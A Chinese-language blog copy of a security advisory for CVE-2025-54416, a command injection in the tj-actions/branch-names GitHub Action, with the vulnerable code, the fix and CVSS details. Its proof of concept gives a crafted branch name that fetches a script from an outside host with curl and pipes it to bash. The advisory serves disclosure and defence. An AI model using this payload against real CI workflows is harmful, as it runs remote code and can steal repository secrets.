GitHub Actions 高危漏洞:CVE-2025-54416 命令注入详解

本文详细分析了 tj-actions/branch-names GitHub Action 中一个严重的命令注入漏洞(CVE-2025-54416)。该漏洞源于对输入的不当处理,攻击者可利用特制分支名执行任意命令,导致下游工作流面临敏感信息泄露、未授权写入等高风险。

tj-actions/branch-names 存在命令注入漏洞 · CVE-2025-54416

漏洞详情

actions / tj-actions/branch-names (GitHub Actions)

受影响版本 <= 8.2.1

已修复版本 9.0.0

概述

在 tj-actions/branch-names GitHub Action 工作流中发现一个严重漏洞,该漏洞允许在下游工作流中执行任意命令。此问题源于输入清理不一致和输出未转义,使得攻击者能够利用特制的分支名或标签进行利用。虽然内部已实施了清理机制,但该操作的输出仍然存在漏洞,使得消费该输出的工作流面临重大的安全风险。

技术细节

该漏洞源于在动作代码库中不安全地使用了 eval printf "%s" 模式。尽管初始使用 printf "%q" 进行清理能正确转义不受信任的输入,但后续通过 eval printf "%s" 进行的反转义操作重新引入了命令注入风险。以下代码片段展示了这种不安全模式:

1
2
3
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

这种方法允许攻击者向消费这些输出的工作流中注入任意命令,如下面的概念验证 (PoC) 所示。

概念验证 (PoC)

  1. 创建一个名为 $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash) 的分支。
  2. 向目标仓库发起拉取请求,触发易受攻击的工作流。
  3. 在工作流日志中观察任意代码执行。

示例输出:

1
2
3
4
5
6
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

影响

此漏洞允许在使用 tj-actions/branch-names 输出的仓库中执行任意命令。影响的严重程度取决于授予 GITHUB_TOKEN 的权限和触发事件的上下文。潜在后果包括:

  • 窃取存储在仓库中的敏感密钥。
  • 对仓库进行未授权的写访问。
  • 损害仓库的完整性和安全性。

缓解措施与解决方案

为了解决此漏洞,必须将不安全的 eval printf "%s" 模式替换为更安全的替代方案。具体来说,直接使用 printf 调用可以在不反转义 shell 不安全字符的情况下实现相同的功能。以下是推荐的修复方案:

1
2
3
4
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

这种方法确保所有输出保持正确转义,并可安全地供下游消费。

建议

  • 立即行动:使用 tj-actions/branch-names 工作流的开发人员应将其工作流更新到最新主要版本 v9。

参考资料

  • GitHub Actions Security Guide
  • How to Secure GitHub Actions Workflows
  • Related Vulnerability: GHSA-mcph-m25j-8j63
  • Template Injection Advisory: GHSA-8v8w-v8xg-79rf

具体参考链接:

严重性

严重 CVSS 总体评分:9.1

CVSS v3 基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:低
  • 用户交互:无
  • 范围:已更改
  • 机密性影响:高
  • 完整性影响:低
  • 可用性影响:低

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

弱点

CWE-77: 对命令中使用的特殊元素进行不当中和(命令注入) 产品使用来自上游组件的外部影响输入来构建全部或部分命令,但在将该命令发送到下游组件时,没有中和或错误地中和了可能修改预期命令的特殊元素。

CVE ID CVE-2025-54416

GHSA ID GHSA-gq52-6phf-x2r6

源代码 tj-actions/branch-names

致谢 tutasla (报告者)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计